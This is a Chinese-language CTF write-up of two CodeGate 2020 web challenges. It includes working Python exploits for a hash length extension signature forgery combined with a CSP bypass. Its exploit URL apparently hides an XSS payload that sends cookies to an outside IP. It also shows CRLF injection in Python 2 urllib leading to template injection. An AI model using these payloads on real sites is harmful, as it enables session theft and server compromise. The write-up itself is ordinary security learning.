2020 CodeGate Web Writeup
导语:周末打了一下韩国的比赛codegate,惨惨,虽然没啥输出,但记录下唯一2道web的题解。
0x00 前言
周末打了一下韩国的比赛codegate,惨惨,虽然没啥输出,但记录下唯一2道web的题解。
0x01 CSP
随手尝试:
110.10.147.166/view.php?name=123&p1=456&p2=789
得到如下url:
/api.php?sig=43bb08065a4d2217ca3881e93c65276b&q=TVRJeixORFUyLE56ZzU=
不难发现,view.php的功能,是帮助我们把name、p1、p2转化格式后,发送给api.php。
其中q的值为:
同时存在一个report功能:
如果把api.php的payload传过去,就能触发XSS,但是考虑到题目有CSP:
Content-Security-Policy: default-src 'self'; script-src 'none'; base-uri 'none';
显然需要bypass CSP,此时我们关注到api.php的代码实现:
$apis = explode("|", $api_string); foreach($apis as $s) { $info = explode(",", $s); if(count($info) != 3) continue; $n = base64_decode($info[0]); $p1 = base64_decode($info[1]); $p2 = base64_decode($info[2]); if ($n === "header") { if(strlen($p1) > 10) continue; if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick... continue; header("$p1: $p2"); } elseif ($n === "cookie") { setcookie($p1, $p2); } elseif ($n === "body") { if(preg_match("/
我们可以利用header进行bypass csp,但是需要同时对body传入exp,而view.php只能处理单个元组,不能同时为我们签名header和body:
header,p1(b64),p2(b64)|body,p1(b64),p2(b64) ...
所以我们需要自己根据算法构造sig,考虑到api.php的检测方式:
if(!isset($_GET["q"]) || !isset($_GET["sig"])) { die("?"); } $api_string = base64_decode($_GET["q"]); $sig = $_GET["sig"]; if(md5($salt.$api_string) !== $sig){ die("??"); }
发现我们可以尝试hash长度拓展攻击,首先我们已有一个元组和签名:
name=123,p1=456,p2=789 sig=43bb08065a4d2217ca3881e93c65276b
但是我们未知salt的长度,那么需要进行爆破:
import requests import hashpumpy import base64 old_sig = "43bb08065a4d2217ca3881e93c65276b" old_data = "MTIz,NDU2,Nzg5" # 123 456 789 url = "http://110.10.147.166/api.php?sig=%s&q=%s" for i in range(1, 50): result = hashpumpy.hashpump(old_sig, old_data, "|Nzg5,NDU2,MTIz", i) # 789 456 123 new_sig = result[0] new_data = base64.b64encode(result[1]) now_url = url % (new_sig,new_data) r = requests.get(now_url) if '??' not in r.content: print i break
运行可得,salt长度为12。
那么此时可以并行构造header和body,但是如何bypass csp呢?
由于不擅XSS,赛后请教了一下Melody师傅,得知可用404进行bypass:
参考link:
http://www.yulegeyu.com/2018/07/15/CSP-unsafe-inline%E6%97%B6-%E5%BC%95%E5%85%A5%E5%A4%96%E9%83%A8js/
得到:
/api.php?sig=fa74cda5bdd2f4da4170e064a5462449&q=YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWag==
构造:
import requests import hashpumpy import base64 def gen_exp(a,b,c): return base64.b64encode(a)+','+base64.b64encode(b)+','+base64.b64encode(c) old_sig = "fa74cda5bdd2f4da4170e064a5462449" old_data = base64.b64decode('YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWag==') #header,HTTP/1 404,skysec url = "http://110.10.147.166/api.php?sig=%s&q=%s" a = 'body' b = '''''' c = '' exp = '|'+gen_exp(a,b,c) result = hashpumpy.hashpump(old_sig, old_data, exp, 12) new_sig = result[0] new_data = base64.b64encode(result[1]) now_url = url % (new_sig,new_data) print now_url
得到exp:
http://110.10.147.166/api.php?sig=812ada09f5d2713a436156061126977d&q=YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWaoAAAAAAAAAAAABwAQAAAAAAAHxZbTlrZVE9PSxQR2x0WnlCemNtTTllQ0J2Ym1WeWNtOXlQU0pzYjJOaGRHbHZiaTVvY21WbVBTY3ZMekV3Tmk0eE5DNHhNVFF1TVRJM09qSXpNek0wTHo5alBTY3JaWE5qWVhCbEtHUnZZM1Z0Wlc1MExtTnZiMnRwWlNrN0lnbyss
得到flag:
CODEGATE2020{CSP_m34n5_Content-Success-Policy_n0t_Security}
0x02 renderer
XFF可控
题目给予了一个路由,尝试访问后发现,XFF可控:
但是fuzz后发现,好像并不能直接利用。
CRLF注入
后续关注到题目给予了dockerfile:
FROM python:2.7.16 ENV FLAG CODEGATE2020{**DELETED**} RUN apt-get update RUN apt-get install -y nginx RUN pip install flask uwsgi ADD prob_src/src /home/src ADD settings/nginx-flask.conf /tmp/nginx-flask.conf ADD prob_src/static /home/static RUN chmod 777 /home/static RUN mkdir /home/tickets RUN chmod 777 /home/tickets ADD settings/run.sh /home/run.sh RUN chmod +x /home/run.sh ADD settings/cleaner.sh /home/cleaner.sh RUN chmod +x /home/cleaner.sh CMD ["/bin/bash", "/home/run.sh"]
同时注意到其用urllib完成了request功能:
那么尝试使用CVE,探测是否存在CRLF注入:CVE-2019-9947,发现其漏洞范围为2.x ~ 2.7.16刚好符合dockerfile中的版本号,于是进行尝试:
http://[vps-ip]:23333?%0d%0apayload%0d%0apadding
发现确实存在CRLF注入攻击。
进一步尝试,利用CLRF注入,访问题目的whatismyip功能:
发现确实可以进行127.0.0.1的伪造访问,并且可控XFF,但陷入僵局。
目录穿越
赛后得知,题目可以进行目录穿越,进行任意文件下载:
http://58.229.253.144/static../src/app/routes.py
审计代码发现:
@front.route("/admin", methods=["GET"]) def admin_access(): ip = get_ip() rip = get_real_ip() if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :) abort(403) if ip != rip: #if use proxy ticket = write_log(rip) return render_template("admin_remote.html", ticket = ticket) else: if ip == "127.0.0.2" and request.args.get("body"): ticket = write_extend_log(rip, request.args.get("body")) return render_template("admin_local.html", ticket = ticket) else: return render_template("admin_local.html", ticket = None)
我们可以利用其中代码对log写入内容:
if ip != rip: #if use proxy ticket = write_log(rip) return render_template("admin_remote.html", ticket = ticket)
而跟进rip,其赋值来自于:
rip = get_real_ip()
跟进函数实现:
def get_real_ip(): return request.headers.get("X-Forwarded-For") or get_ip()
发现可用XFF控制写入log内容。
跟进write_log:
def write_log(rip): tid = hashlib.sha1(str(time.time()) + rip).hexdigest() with open("/home/tickets/%s" % tid, "w") as f: log_str = "Admin page accessed from %s" % rip f.write(log_str) return tid
故此,可以尝试在/admin路由,利用XFF写入文件,同时会返回其ticket:
url=http://127.0.0.1/renderer/admin+HTTP/1.1%0aX-Forwarded-For: {{1+1}}%0a
而后,利用/admin/ticket读取文件,触发ssti:
def admin_ticket(): ip = get_ip() rip = get_real_ip() if ip != rip: #proxy doesn't allow to show ticket print 1 abort(403) if ip not in ["127.0.0.1", "127.0.0.2"]: #only local print 2 abort(403) if request.headers.get("User-Agent") != "AdminBrowser/1.337": print request.headers.get("User-Agent") abort(403) if request.args.get("ticket"): log = read_log(request.args.get("ticket")) if not log: print 4 abort(403) return render_template_string(log)
构造exp如下:
url = http://127.0.0.1/renderer/admin/ticket?ticket=c0105720c3cd521aadd35064b24db9699b2bc646+HTTP/1.1%0aUser-Agent: AdminBrowser/1.337%0aX-Forwarded-For: 127.0.0.1%0aA: B%0a
测试发现,确实可以伪造http header。但是此处存在一个问题,即UA覆盖,最下面的UA,会覆盖我们上面的UA,所以得Connection: close。
url = http://127.0.0.1/renderer/admin/ticket?ticket=c0105720c3cd521aadd35064b24db9699b2bc646 HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: AdminBrowser/1.337%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aConnection: close%0d%0a%0d%0askycool
即可触发ssti:
if request.args.get("ticket"): log = read_log(request.args.get("ticket")) if not log: print 4 abort(403) return render_template_string(log)
发现flag位置:
ENV FLAG CODEGATE2020{**DELETED**}
exp如下:
import requests import urllib url = 'http://58.229.253.144/renderer/' payload1 = '''http://127.0.0.1/renderer/admin HTTP/1.1%%0d%%0aX-Forwarded-For: %s%%0d%%0a''' payload2 = '''http://127.0.0.1/renderer/admin/ticket?ticket=%s HTTP/1.1%%0d%%0aHost: 127.0.0.1%%0d%%0aUser-Agent: AdminBrowser/1.337%%0d%%0aX-Forwarded-For: 127.0.0.1%%0d%%0aConnection: close%%0d%%0a%%0d%%0askycool''' ssti_payload = '''{{config}}''' exp1 = payload1 % ssti_payload data = { 'url':urllib.unquote(exp1) } r = requests.post(url=url,data=data) ticket = r.content[1652:1692] exp2 = payload2%ticket data = { 'url':urllib.unquote(exp2) } r = requests.post(url=url,data=data) print r.content
运行即可拿到flag:
CODEGATE2020{CrLfMakesLocalGreatAgain}
0x03 后记
还是太菜了,这次没啥输出,又没打进决赛。和国际赛的差距果然很大= =。
发表评论